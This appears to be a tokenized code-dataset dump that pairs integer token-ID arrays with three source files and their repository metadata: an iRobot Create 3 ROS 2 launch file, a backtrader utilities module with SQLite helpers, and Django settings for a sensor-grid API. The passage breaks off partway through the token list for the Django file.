2361,
338,
6213,
29901,
13,
18884,
6773,
13,
13,
9651,
1550,
2944,
29918,
13140,
29918,
1609,
29918,
20567,
29961,
20567,
29962,
529,
7431,
29898,
24582,
29918,
29883,
5380,
403,
29918,
1557,
2361,
1125,
13,
18884,
8158,
29892,
14020,
353,
12705,
29918,
29883,
5380,
403,
29918,
1557,
2361,
29961,
667,
29918,
13140,
29918,
1609,
29918,
20567,
29961,
20567,
5262,
13,
18884,
2944,
29918,
13140,
29918,
1609,
29918,
20567,
29961,
20567,
29962,
4619,
29871,
29896,
13,
13,
18884,
565,
14020,
451,
297,
6907,
800,
29918,
842,
29901,
13,
462,
1678,
6907,
800,
29918,
842,
29889,
1202,
29898,
29883,
5380,
403,
29897,
13,
462,
1678,
20706,
29918,
1609,
29918,
20567,
29961,
20567,
29962,
4619,
29871,
29896,
13,
462,
1678,
396,
8273,
1975,
278,
29769,
310,
278,
2752,
5687,
297,
278,
8158,
18761,
13,
462,
1678,
6907,
800,
4619,
518,
4197,
20567,
29962,
718,
8158,
29892,
14020,
4638,
13,
462,
1678,
2867,
13,
13,
9651,
4784,
29918,
29876,
29918,
7076,
29918,
1563,
29918,
517,
29918,
5589,
353,
302,
29918,
276,
2055,
355,
800,
448,
7431,
29898,
276,
2055,
355,
800,
29897,
13,
9651,
565,
4784,
29918,
29876,
29918,
7076,
29918,
1563,
29918,
517,
29918,
5589,
1275,
302,
29918,
7076,
29918,
1563,
29918,
517,
29918,
5589,
29901,
13,
18884,
396,
10434,
5687,
756,
694,
901,
20706,
304,
2367,
1192,
1235,
29915,
29879,
2767,
278,
274,
2176,
13,
18884,
274,
2176,
353,
1583,
29889,
711,
2408,
29918,
29883,
2176,
29898,
24582,
29918,
1557,
2361,
29918,
1609,
29918,
20567,
29892,
2944,
29918,
13140,
29918,
1609,
29918,
20567,
29897,
13,
13,
9651,
302,
29918,
7076,
29918,
1563,
29918,
517,
29918,
5589,
353,
4784,
29918,
29876,
29918,
7076,
29918,
1563,
29918,
517,
29918,
5589,
13,
13,
4706,
363,
3093,
297,
1583,
29889,
9564,
12404,
29901,
13,
9651,
1480,
29889,
3888,
703,
22461,
4540,
518,
29995,
29879,
29962,
26869,
518,
29995,
29881,
29962,
4452,
29908,
1273,
313,
9564,
29892,
20706,
29918,
1609,
29918,
20567,
29961,
9564,
12622,
13,
13,
4706,
736,
6907,
800,
13,
2
] |
irobot_create_common/irobot_create_common_bringup/launch/create3_nodes.launch.py | ahcorde/create3_sim | 0 | 78918 | #!/usr/bin/env python3
# Copyright 2021 iRobot Corporation. All Rights Reserved.
# @author <NAME> (<EMAIL>)
#
# Launch Create(R) 3 nodes
from ament_index_python.packages import get_package_share_directory
from launch import LaunchDescription
from launch.actions import DeclareLaunchArgument, IncludeLaunchDescription
from launch.conditions import LaunchConfigurationEquals
from launch.launch_description_sources import PythonLaunchDescriptionSource
from launch.substitutions import LaunchConfiguration, PathJoinSubstitution
from launch_ros.actions import Node
ARGUMENTS = [
DeclareLaunchArgument('gazebo', default_value='classic',
choices=['classic', 'ignition'],
description='Which gazebo simulator to use')
]
def generate_launch_description():
# Directories
pkg_create3_common_bringup = get_package_share_directory('irobot_create_common_bringup')
pkg_create3_control = get_package_share_directory('irobot_create_control')
# Paths
control_launch_file = PathJoinSubstitution(
[pkg_create3_control, 'launch', 'include', 'control.py'])
hazards_params_yaml_file = PathJoinSubstitution(
[pkg_create3_common_bringup, 'config', 'hazard_vector_params.yaml'])
ir_intensity_params_yaml_file = PathJoinSubstitution(
[pkg_create3_common_bringup, 'config', 'ir_intensity_vector_params.yaml'])
wheel_status_params_yaml_file = PathJoinSubstitution(
[pkg_create3_common_bringup, 'config', 'wheel_status_params.yaml'])
mock_params_yaml_file = PathJoinSubstitution(
[pkg_create3_common_bringup, 'config', 'mock_params.yaml'])
robot_state_yaml_file = PathJoinSubstitution(
[pkg_create3_common_bringup, 'config', 'robot_state_params.yaml'])
kidnap_estimator_yaml_file = PathJoinSubstitution(
[pkg_create3_common_bringup, 'config', 'kidnap_estimator_params.yaml'])
# Includes
diffdrive_controller = IncludeLaunchDescription(
PythonLaunchDescriptionSource([control_launch_file]),
condition=LaunchConfigurationEquals('gazebo', 'classic')
)
# Publish hazards vector
hazards_vector_node = Node(
package='irobot_create_toolbox',
name='hazards_vector_node',
executable='hazards_vector_publisher_node',
parameters=[hazards_params_yaml_file,
{'use_sim_time': True}],
output='screen',
)
# Publish IR intensity vector
ir_intensity_vector_node = Node(
package='irobot_create_toolbox',
name='ir_intensity_vector_node',
executable='ir_intensity_vector_publisher_node',
parameters=[ir_intensity_params_yaml_file,
{'use_sim_time': True}],
output='screen',
)
# Motion Control
motion_control_node = Node(
package='irobot_create_toolbox',
name='motion_control',
executable='motion_control',
parameters=[{'use_sim_time': True}],
output='screen',
)
# Publish wheel status
wheel_status_node = Node(
package='irobot_create_toolbox',
name='wheel_status_publisher_node',
executable='wheel_status_publisher_node',
parameters=[wheel_status_params_yaml_file,
{'use_sim_time': True}],
output='screen',
)
# Publish mock topics
mock_topics_node = Node(
package='irobot_create_toolbox',
name='mock_publisher_node',
executable='mock_publisher_node',
parameters=[mock_params_yaml_file,
{'use_sim_time': True},
{'gazebo': LaunchConfiguration('gazebo')}],
output='screen',
)
# Publish robot state
robot_state_node = Node(
package='irobot_create_toolbox',
name='robot_state',
executable='robot_state_node',
parameters=[robot_state_yaml_file,
{'use_sim_time': True}],
output='screen',
)
# Publish kidnap estimator
kidnap_estimator_node = Node(
package='irobot_create_toolbox',
name='kidnap_estimator',
executable='kidnap_estimator_publisher_node',
parameters=[kidnap_estimator_yaml_file,
{'use_sim_time': True}],
output='screen',
)
# Define LaunchDescription variable
ld = LaunchDescription(ARGUMENTS)
# Include robot description
ld.add_action(diffdrive_controller)
# Add nodes to LaunchDescription
ld.add_action(hazards_vector_node)
ld.add_action(ir_intensity_vector_node)
ld.add_action(motion_control_node)
ld.add_action(wheel_status_node)
ld.add_action(mock_topics_node)
ld.add_action(robot_state_node)
ld.add_action(kidnap_estimator_node)
return ld
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
29937,
14187,
1266,
29871,
29906,
29900,
29906,
29896,
474,
21860,
327,
15025,
29889,
2178,
26863,
2538,
9841,
29889,
13,
29937,
732,
8921,
529,
5813,
29958,
313,
29966,
26862,
6227,
12948,
13,
29937,
13,
29937,
997,
3322,
6204,
29898,
29934,
29897,
29871,
29941,
7573,
13,
13,
3166,
263,
358,
29918,
2248,
29918,
4691,
29889,
8318,
1053,
679,
29918,
5113,
29918,
13653,
29918,
12322,
13,
3166,
6826,
1053,
997,
3322,
9868,
13,
3166,
6826,
29889,
7387,
1053,
3826,
8663,
17641,
15730,
29892,
512,
2325,
17641,
9868,
13,
3166,
6826,
29889,
1116,
2187,
1053,
997,
3322,
8614,
14776,
13,
3166,
6826,
29889,
15343,
29918,
8216,
29918,
29879,
2863,
1053,
5132,
17641,
9868,
4435,
13,
3166,
6826,
29889,
22492,
5008,
29879,
1053,
997,
3322,
8614,
29892,
10802,
17242,
4035,
303,
5008,
13,
3166,
6826,
29918,
1883,
29889,
7387,
1053,
9071,
13,
13,
1718,
29954,
5005,
3919,
29903,
353,
518,
13,
1678,
3826,
8663,
17641,
15730,
877,
29887,
834,
774,
29877,
742,
2322,
29918,
1767,
2433,
1990,
293,
742,
13,
462,
3986,
19995,
29922,
1839,
1990,
293,
742,
525,
647,
654,
7464,
13,
462,
3986,
6139,
2433,
8809,
436,
12642,
774,
29877,
1027,
9183,
304,
671,
1495,
13,
29962,
13,
13,
13,
1753,
5706,
29918,
15343,
29918,
8216,
7295,
13,
13,
1678,
396,
8797,
3842,
13,
1678,
282,
9415,
29918,
3258,
29941,
29918,
9435,
29918,
1182,
292,
786,
353,
679,
29918,
5113,
29918,
13653,
29918,
12322,
877,
3350,
7451,
29918,
3258,
29918,
9435,
29918,
1182,
292,
786,
1495,
13,
1678,
282,
9415,
29918,
3258,
29941,
29918,
6451,
353,
679,
29918,
5113,
29918,
13653,
29918,
12322,
877,
3350,
7451,
29918,
3258,
29918,
6451,
1495,
13,
13,
1678,
396,
10802,
29879,
13,
1678,
2761,
29918,
15343,
29918,
1445,
353,
10802,
17242,
4035,
303,
5008,
29898,
13,
4706,
518,
15865,
29918,
3258,
29941,
29918,
6451,
29892,
525,
15343,
742,
525,
2856,
742,
525,
6451,
29889,
2272,
11287,
13,
1678,
447,
29920,
3163,
29918,
7529,
29918,
25162,
29918,
1445,
353,
10802,
17242,
4035,
303,
5008,
29898,
13,
4706,
518,
15865,
29918,
3258,
29941,
29918,
9435,
29918,
1182,
292,
786,
29892,
525,
2917,
742,
525,
29882,
834,
538,
29918,
8111,
29918,
7529,
29889,
25162,
11287,
13,
1678,
3805,
29918,
524,
575,
537,
29918,
7529,
29918,
25162,
29918,
1445,
353,
10802,
17242,
4035,
303,
5008,
29898,
13,
4706,
518,
15865,
29918,
3258,
29941,
29918,
9435,
29918,
1182,
292,
786,
29892,
525,
2917,
742,
525,
381,
29918,
524,
575,
537,
29918,
8111,
29918,
7529,
29889,
25162,
11287,
13,
1678,
18875,
29918,
4882,
29918,
7529,
29918,
25162,
29918,
1445,
353,
10802,
17242,
4035,
303,
5008,
29898,
13,
4706,
518,
15865,
29918,
3258,
29941,
29918,
9435,
29918,
1182,
292,
786,
29892,
525,
2917,
742,
525,
29893,
10552,
29918,
4882,
29918,
7529,
29889,
25162,
11287,
13,
1678,
11187,
29918,
7529,
29918,
25162,
29918,
1445,
353,
10802,
17242,
4035,
303,
5008,
29898,
13,
4706,
518,
15865,
29918,
3258,
29941,
29918,
9435,
29918,
1182,
292,
786,
29892,
525,
2917,
742,
525,
17640,
29918,
7529,
29889,
25162,
11287,
13,
1678,
19964,
29918,
3859,
29918,
25162,
29918,
1445,
353,
10802,
17242,
4035,
303,
5008,
29898,
13,
4706,
518,
15865,
29918,
3258,
29941,
29918,
9435,
29918,
1182,
292,
786,
29892,
525,
2917,
742,
525,
307,
7451,
29918,
3859,
29918,
7529,
29889,
25162,
11287,
13,
1678,
26397,
8971,
29918,
342,
326,
1061,
29918,
25162,
29918,
1445,
353,
10802,
17242,
4035,
303,
5008,
29898,
13,
4706,
518,
15865,
29918,
3258,
29941,
29918,
9435,
29918,
1182,
292,
786,
29892,
525,
2917,
742,
525,
29895,
333,
8971,
29918,
342,
326,
1061,
29918,
7529,
29889,
25162,
11287,
13,
13,
1678,
396,
512,
27722,
13,
1678,
2923,
21594,
29918,
8299,
353,
512,
2325,
17641,
9868,
29898,
13,
4706,
5132,
17641,
9868,
4435,
4197,
6451,
29918,
15343,
29918,
1445,
11724,
13,
4706,
4195,
29922,
17641,
8614,
14776,
877,
29887,
834,
774,
29877,
742,
525,
1990,
293,
1495,
13,
1678,
1723,
13,
13,
1678,
396,
12904,
447,
29920,
3163,
4608,
13,
1678,
447,
29920,
3163,
29918,
8111,
29918,
3177,
353,
9071,
29898,
13,
4706,
3577,
2433,
3350,
7451,
29918,
3258,
29918,
10154,
1884,
742,
13,
4706,
1024,
2433,
29882,
834,
3163,
29918,
8111,
29918,
3177,
742,
13,
4706,
16813,
2433,
29882,
834,
3163,
29918,
8111,
29918,
23679,
261,
29918,
3177,
742,
13,
4706,
4128,
11759,
29882,
834,
3163,
29918,
7529,
29918,
25162,
29918,
1445,
29892,
13,
462,
1678,
11117,
1509,
29918,
3601,
29918,
2230,
2396,
5852,
29913,
1402,
13,
4706,
1962,
2433,
10525,
742,
13,
1678,
1723,
13,
13,
1678,
396,
12904,
23292,
26171,
4608,
13,
1678,
3805,
29918,
524,
575,
537,
29918,
8111,
29918,
3177,
353,
9071,
29898,
13,
4706,
3577,
2433,
3350,
7451,
29918,
3258,
29918,
10154,
1884,
742,
13,
4706,
1024,
2433,
381,
29918,
524,
575,
537,
29918,
8111,
29918,
3177,
742,
13,
4706,
16813,
2433,
381,
29918,
524,
575,
537,
29918,
8111,
29918,
23679,
261,
29918,
3177,
742,
13,
4706,
4128,
11759,
381,
29918,
524,
575,
537,
29918,
7529,
29918,
25162,
29918,
1445,
29892,
13,
462,
1678,
11117,
1509,
29918,
3601,
29918,
2230,
2396,
5852,
29913,
1402,
13,
4706,
1962,
2433,
10525,
742,
13,
1678,
1723,
13,
13,
1678,
396,
7142,
291,
11264,
13,
1678,
10884,
29918,
6451,
29918,
3177,
353,
9071,
29898,
13,
4706,
3577,
2433,
3350,
7451,
29918,
3258,
29918,
10154,
1884,
742,
13,
4706,
1024,
2433,
29885,
8194,
29918,
6451,
742,
13,
4706,
16813,
2433,
29885,
8194,
29918,
6451,
742,
13,
4706,
4128,
11759,
10998,
1509,
29918,
3601,
29918,
2230,
2396,
5852,
29913,
1402,
13,
4706,
1962,
2433,
10525,
742,
13,
1678,
1723,
13,
13,
1678,
396,
12904,
18875,
4660,
13,
1678,
18875,
29918,
4882,
29918,
3177,
353,
9071,
29898,
13,
4706,
3577,
2433,
3350,
7451,
29918,
3258,
29918,
10154,
1884,
742,
13,
4706,
1024,
2433,
29893,
10552,
29918,
4882,
29918,
23679,
261,
29918,
3177,
742,
13,
4706,
16813,
2433,
29893,
10552,
29918,
4882,
29918,
23679,
261,
29918,
3177,
742,
13,
4706,
4128,
11759,
29893,
10552,
29918,
4882,
29918,
7529,
29918,
25162,
29918,
1445,
29892,
13,
462,
1678,
11117,
1509,
29918,
3601,
29918,
2230,
2396,
5852,
29913,
1402,
13,
4706,
1962,
2433,
10525,
742,
13,
1678,
1723,
13,
13,
1678,
396,
12904,
11187,
23820,
13,
1678,
11187,
29918,
3332,
1199,
29918,
3177,
353,
9071,
29898,
13,
4706,
3577,
2433,
3350,
7451,
29918,
3258,
29918,
10154,
1884,
742,
13,
4706,
1024,
2433,
17640,
29918,
23679,
261,
29918,
3177,
742,
13,
4706,
16813,
2433,
17640,
29918,
23679,
261,
29918,
3177,
742,
13,
4706,
4128,
11759,
17640,
29918,
7529,
29918,
25162,
29918,
1445,
29892,
13,
462,
1678,
11117,
1509,
29918,
3601,
29918,
2230,
2396,
5852,
1118,
13,
462,
1678,
11117,
29887,
834,
774,
29877,
2396,
997,
3322,
8614,
877,
29887,
834,
774,
29877,
1495,
29913,
1402,
13,
4706,
1962,
2433,
10525,
742,
13,
1678,
1723,
13,
13,
1678,
396,
12904,
19964,
2106,
13,
1678,
19964,
29918,
3859,
29918,
3177,
353,
9071,
29898,
13,
4706,
3577,
2433,
3350,
7451,
29918,
3258,
29918,
10154,
1884,
742,
13,
4706,
1024,
2433,
307,
7451,
29918,
3859,
742,
13,
4706,
16813,
2433,
307,
7451,
29918,
3859,
29918,
3177,
742,
13,
4706,
4128,
11759,
307,
7451,
29918,
3859,
29918,
25162,
29918,
1445,
29892,
13,
462,
1678,
11117,
1509,
29918,
3601,
29918,
2230,
2396,
5852,
29913,
1402,
13,
4706,
1962,
2433,
10525,
742,
13,
1678,
1723,
13,
13,
1678,
396,
12904,
26397,
8971,
4844,
1061,
13,
1678,
26397,
8971,
29918,
342,
326,
1061,
29918,
3177,
353,
9071,
29898,
13,
4706,
3577,
2433,
3350,
7451,
29918,
3258,
29918,
10154,
1884,
742,
13,
4706,
1024,
2433,
29895,
333,
8971,
29918,
342,
326,
1061,
742,
13,
4706,
16813,
2433,
29895,
333,
8971,
29918,
342,
326,
1061,
29918,
23679,
261,
29918,
3177,
742,
13,
4706,
4128,
11759,
29895,
333,
8971,
29918,
342,
326,
1061,
29918,
25162,
29918,
1445,
29892,
13,
462,
1678,
11117,
1509,
29918,
3601,
29918,
2230,
2396,
5852,
29913,
1402,
13,
4706,
1962,
2433,
10525,
742,
13,
1678,
1723,
13,
13,
1678,
396,
22402,
997,
3322,
9868,
2286,
13,
1678,
301,
29881,
353,
997,
3322,
9868,
29898,
1718,
29954,
5005,
3919,
29903,
29897,
13,
1678,
396,
512,
2325,
19964,
6139,
13,
1678,
301,
29881,
29889,
1202,
29918,
2467,
29898,
12765,
21594,
29918,
8299,
29897,
13,
1678,
396,
3462,
7573,
304,
997,
3322,
9868,
13,
1678,
301,
29881,
29889,
1202,
29918,
2467,
29898,
29882,
834,
3163,
29918,
8111,
29918,
3177,
29897,
13,
1678,
301,
29881,
29889,
1202,
29918,
2467,
29898,
381,
29918,
524,
575,
537,
29918,
8111,
29918,
3177,
29897,
13,
1678,
301,
29881,
29889,
1202,
29918,
2467,
29898,
29885,
8194,
29918,
6451,
29918,
3177,
29897,
13,
1678,
301,
29881,
29889,
1202,
29918,
2467,
29898,
29893,
10552,
29918,
4882,
29918,
3177,
29897,
13,
1678,
301,
29881,
29889,
1202,
29918,
2467,
29898,
17640,
29918,
3332,
1199,
29918,
3177,
29897,
13,
1678,
301,
29881,
29889,
1202,
29918,
2467,
29898,
307,
7451,
29918,
3859,
29918,
3177,
29897,
13,
1678,
301,
29881,
29889,
1202,
29918,
2467,
29898,
29895,
333,
8971,
29918,
342,
326,
1061,
29918,
3177,
29897,
13,
13,
1678,
736,
301,
29881,
13,
2
] |
utils.py | neilsmurphy/backtrader_template | 75 | 190573 | ###############################################################################
#
# Software program written by <NAME> in year 2021.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
#
# By using this software, the Disclaimer and Terms distributed with the
# software are deemed accepted, without limitation, by user.
#
# You should have received a copy of the Disclaimer and Terms document
# along with this program. If not, see... https://bit.ly/2Tlr9ii
#
###############################################################################
from datetime import datetime
import itertools
import math
from pathlib import Path
import sqlite3
def time_str_to_datetime(time):
return datetime.strptime(time, "%H:%M").time()
def round_down(x):
return math.trunc(x * 4) / 4
def round_up(x):
return math.ceil(x * 4) / 4
def time_tuple(d):
keys, values = zip(*d.items())
return [tuple(dict(zip(keys, v)).items()) for v in itertools.product(*values)]
def create_db_connection():
"""
Opens a database connection.
"""
Path("data").mkdir(parents=True, exist_ok=True)
dir = Path("data")
filename = "results.db"
filepath = dir / filename
return sqlite3.connect(filepath)
def yes_or_no(question):
""" Simple yes no choice function. """
reply = str(input(f"{question} (y/n): ")).lower().strip()
if reply[0] == "y":
return True
if reply[0] == "n":
return False
else:
return yes_or_no("Please enter y/n")
def clear_database():
try:
remove_db = Path('data/results.db')
remove_db.unlink()
except:
pass
def df_to_db(agg_dict):
""" Saves results dataframes to the sqlite3 database"""
engine = create_db_connection()
for table_name, df in agg_dict.items():
try:
# Remove whitespace before going to sql.
df.columns = [name.replace(" ", "_") for name in df.columns]
df.to_sql(
table_name, con=engine, if_exists="append", index=False
)
except Exception as e:
print(f"{e} {table_name} failed.")
engine.close()
| [
1,
835,
13383,
13383,
13383,
13383,
7346,
4136,
13,
29937,
13,
29937,
18540,
1824,
3971,
491,
529,
5813,
29958,
297,
1629,
29871,
29906,
29900,
29906,
29896,
29889,
13,
29937,
13,
29937,
910,
1824,
338,
13235,
297,
278,
4966,
393,
372,
674,
367,
5407,
29892,
13,
29937,
541,
399,
1806,
8187,
2692,
13764,
29979,
399,
1718,
29934,
13566,
29979,
29936,
1728,
1584,
278,
2411,
2957,
1370,
21867,
29891,
310,
13,
29937,
341,
1001,
3210,
13566,
2882,
6227,
11937,
470,
383,
1806,
8186,
1799,
15842,
319,
349,
8322,
2965,
13309,
1718,
349,
4574,
13152,
1660,
29889,
13,
29937,
13,
29937,
2648,
773,
445,
7047,
29892,
278,
8565,
433,
4193,
322,
11814,
29879,
13235,
411,
278,
13,
29937,
7047,
526,
316,
22580,
9259,
29892,
1728,
29485,
29892,
491,
1404,
29889,
13,
29937,
13,
29937,
887,
881,
505,
4520,
263,
3509,
310,
278,
8565,
433,
4193,
322,
11814,
29879,
1842,
13,
29937,
3412,
411,
445,
1824,
29889,
29871,
960,
451,
29892,
1074,
856,
2045,
597,
2966,
29889,
368,
29914,
29906,
29911,
29212,
29929,
2236,
13,
29937,
13,
13383,
13383,
13383,
13383,
7346,
4136,
2277,
29937,
13,
3166,
12865,
1053,
12865,
13,
5215,
4256,
8504,
13,
5215,
5844,
13,
3166,
2224,
1982,
1053,
10802,
13,
5215,
21120,
29941,
13,
13,
1753,
931,
29918,
710,
29918,
517,
29918,
12673,
29898,
2230,
1125,
13,
1678,
736,
12865,
29889,
710,
415,
603,
29898,
2230,
29892,
11860,
29950,
16664,
29924,
2564,
2230,
580,
13,
13,
1753,
4513,
29918,
3204,
29898,
29916,
1125,
13,
1678,
736,
5844,
29889,
509,
4661,
29898,
29916,
334,
29871,
29946,
29897,
847,
29871,
29946,
13,
13,
1753,
4513,
29918,
786,
29898,
29916,
1125,
13,
1678,
736,
5844,
29889,
27696,
29898,
29916,
334,
29871,
29946,
29897,
847,
29871,
29946,
13,
13,
1753,
931,
29918,
23583,
29898,
29881,
1125,
13,
1678,
6611,
29892,
1819,
353,
14319,
10456,
29881,
29889,
7076,
3101,
13,
1678,
736,
518,
23583,
29898,
8977,
29898,
7554,
29898,
8149,
29892,
325,
8106,
7076,
3101,
363,
325,
297,
4256,
8504,
29889,
4704,
10456,
5975,
4638,
13,
13,
1753,
1653,
29918,
2585,
29918,
9965,
7295,
13,
1678,
9995,
13,
1678,
6461,
575,
263,
2566,
3957,
29889,
13,
1678,
9995,
13,
1678,
10802,
703,
1272,
2564,
11256,
3972,
29898,
862,
1237,
29922,
5574,
29892,
1863,
29918,
554,
29922,
5574,
29897,
13,
1678,
4516,
353,
10802,
703,
1272,
1159,
13,
1678,
10422,
353,
376,
9902,
29889,
2585,
29908,
13,
1678,
934,
2084,
353,
4516,
847,
10422,
13,
1678,
736,
21120,
29941,
29889,
6915,
29898,
1445,
2084,
29897,
13,
13,
1753,
4874,
29918,
272,
29918,
1217,
29898,
12470,
1125,
13,
1678,
9995,
12545,
4874,
694,
7348,
740,
29889,
9995,
13,
1678,
8908,
353,
851,
29898,
2080,
29898,
29888,
29908,
29912,
12470,
29913,
313,
29891,
29914,
29876,
1125,
376,
8106,
13609,
2141,
17010,
580,
13,
1678,
565,
8908,
29961,
29900,
29962,
1275,
376,
29891,
1115,
13,
4706,
736,
5852,
13,
1678,
565,
8908,
29961,
29900,
29962,
1275,
376,
29876,
1115,
13,
4706,
736,
7700,
13,
1678,
1683,
29901,
13,
4706,
736,
4874,
29918,
272,
29918,
1217,
703,
12148,
3896,
343,
29914,
29876,
1159,
13,
13,
1753,
2821,
29918,
9803,
7295,
13,
1678,
1018,
29901,
13,
4706,
3349,
29918,
2585,
353,
10802,
877,
1272,
29914,
9902,
29889,
2585,
1495,
13,
4706,
3349,
29918,
2585,
29889,
348,
2324,
580,
13,
1678,
5174,
29901,
13,
4706,
1209,
13,
13,
1753,
4489,
29918,
517,
29918,
2585,
29898,
16170,
29918,
8977,
1125,
13,
1678,
9995,
317,
5989,
2582,
848,
19935,
304,
278,
21120,
29941,
2566,
15945,
29908,
13,
1678,
6012,
353,
1653,
29918,
2585,
29918,
9965,
580,
13,
13,
1678,
363,
1591,
29918,
978,
29892,
4489,
297,
946,
29887,
29918,
8977,
29889,
7076,
7295,
13,
4706,
1018,
29901,
13,
9651,
396,
15154,
24358,
1434,
2675,
304,
4576,
29889,
13,
9651,
4489,
29889,
13099,
353,
518,
978,
29889,
6506,
703,
9162,
11119,
1159,
363,
1024,
297,
4489,
29889,
13099,
29962,
13,
9651,
4489,
29889,
517,
29918,
2850,
29898,
13,
18884,
1591,
29918,
978,
29892,
378,
29922,
10599,
29892,
565,
29918,
9933,
543,
4397,
613,
2380,
29922,
8824,
13,
9651,
1723,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
1596,
29898,
29888,
29908,
29912,
29872,
29913,
426,
2371,
29918,
978,
29913,
5229,
23157,
13,
1678,
6012,
29889,
5358,
580,
13,
13,
2
] |
sensorgridapi/core/settings/common.py | Verdinjoshua26/SensorGridAPI | 8 | 170161 | """
Django settings for sensorgridapi project.
Generated by 'django-admin startproject' using Django 1.11.9.
For more information on this file, see
https://docs.djangoproject.com/en/1.11/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.11/ref/settings/
"""
import os
from os import environ as env
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
ALLOWED_HOSTS = env.get('APPLICATION_DOMAINS', '').split() + ['localhost', '127.0.0.1']
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'rest_framework',
'sensordata',
# 'requeststest.apps.RequeststestConfig'
# 'sensordata.apps.SensorDataConfig'
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'core.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'core.wsgi.application'
# Password validation
# https://docs.djangoproject.com/en/1.11/ref/settings/#auth-password-validators
# commenting out for local development
# AUTH_PASSWORD_VALIDATORS = [
# {
# 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
# },
# {
# 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
# },
# {
# 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
# },
# {
# 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
# },
# ]
# Internationalization
# https://docs.djangoproject.com/en/1.11/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.11/howto/static-files/
STATIC_URL = '/static/'
# Database
# https://docs.djangoproject.com/en/1.11/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': env['DB_ENGINE__DEFAULT'],
'NAME': env['DB_NAME__DEFAULT'],
'USER': env['DB_USER__DEFAULT'],
'PASSWORD': env['DB_PASSWORD__DEFAULT'],
'HOST': env['DB_HOST__DEFAULT'],
'PORT': env['DB_PORT__DEFAULT']
}
}
# to be removed later -- sets up default permissions
REST_FRAMEWORK = {
# Use Django's standard `django.contrib.auth` permissions,
# or allow read-only access for unauthenticated users.
#'DEFAULT_FILTER_BACKENDS': ('django_filters.rest_framework.DjangoFilterBackend',),
'DEFAULT_PERMISSION_CLASSES': [
# 'rest_framework.permissions.DjangoModelPermissionsOrAnonReadOnly'
],
'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.LimitOffsetPagination',
}
| [
1,
9995,
13,
29928,
5364,
6055,
363,
23530,
7720,
2754,
2060,
29889,
13,
13,
24565,
491,
525,
14095,
29899,
6406,
1369,
4836,
29915,
773,
15337,
29871,
29896,
29889,
29896,
29896,
29889,
29929,
29889,
13,
13,
2831,
901,
2472,
373,
445,
934,
29892,
1074,
13,
991,
597,
2640,
29889,
19776,
574,
26555,
622,
29889,
510,
29914,
264,
29914,
29896,
29889,
29896,
29896,
29914,
3332,
1199,
29914,
11027,
29914,
13,
13,
2831,
278,
2989,
1051,
310,
6055,
322,
1009,
1819,
29892,
1074,
13,
991,
597,
2640,
29889,
19776,
574,
26555,
622,
29889,
510,
29914,
264,
29914,
29896,
29889,
29896,
29896,
29914,
999,
29914,
11027,
29914,
13,
15945,
29908,
13,
13,
5215,
2897,
13,
3166,
2897,
1053,
12471,
408,
8829,
13,
13,
29937,
8878,
10898,
2768,
278,
2060,
763,
445,
29901,
2897,
29889,
2084,
29889,
7122,
29898,
25416,
29918,
9464,
29892,
29757,
13,
25416,
29918,
9464,
353,
2897,
29889,
2084,
29889,
25721,
29898,
359,
29889,
2084,
29889,
25721,
29898,
359,
29889,
2084,
29889,
25721,
29898,
359,
29889,
2084,
29889,
370,
1028,
493,
22168,
1445,
1649,
13697,
13,
13,
1964,
27998,
3352,
29918,
20832,
29903,
353,
8829,
29889,
657,
877,
3301,
7390,
28541,
29918,
3970,
29032,
29903,
742,
525,
2824,
5451,
580,
718,
6024,
7640,
742,
525,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
2033,
13,
13,
13,
29937,
8427,
5023,
13,
13,
25580,
1964,
20566,
29918,
3301,
7024,
353,
518,
13,
1678,
525,
14095,
29889,
21570,
29889,
6406,
742,
13,
1678,
525,
14095,
29889,
21570,
29889,
5150,
742,
13,
1678,
525,
14095,
29889,
21570,
29889,
3051,
8768,
742,
13,
1678,
525,
14095,
29889,
21570,
29889,
29879,
10964,
742,
13,
1678,
525,
14095,
29889,
21570,
29889,
19158,
742,
13,
1678,
525,
14095,
29889,
21570,
29889,
7959,
5325,
742,
13,
1678,
525,
5060,
29918,
4468,
742,
13,
1678,
525,
23149,
536,
532,
742,
13,
1678,
396,
525,
3827,
303,
342,
29889,
13371,
29889,
3089,
303,
342,
3991,
29915,
13,
1678,
396,
525,
23149,
536,
532,
29889,
13371,
29889,
29903,
6073,
1469,
3991,
29915,
13,
29962,
13,
13,
29924,
1367,
29928,
1307,
12982,
1525,
353,
518,
13,
1678,
525,
14095,
29889,
17662,
2519,
29889,
8926,
29889,
13228,
25411,
2519,
742,
13,
1678,
525,
14095,
29889,
21570,
29889,
29879,
10964,
29889,
17662,
2519,
29889,
7317,
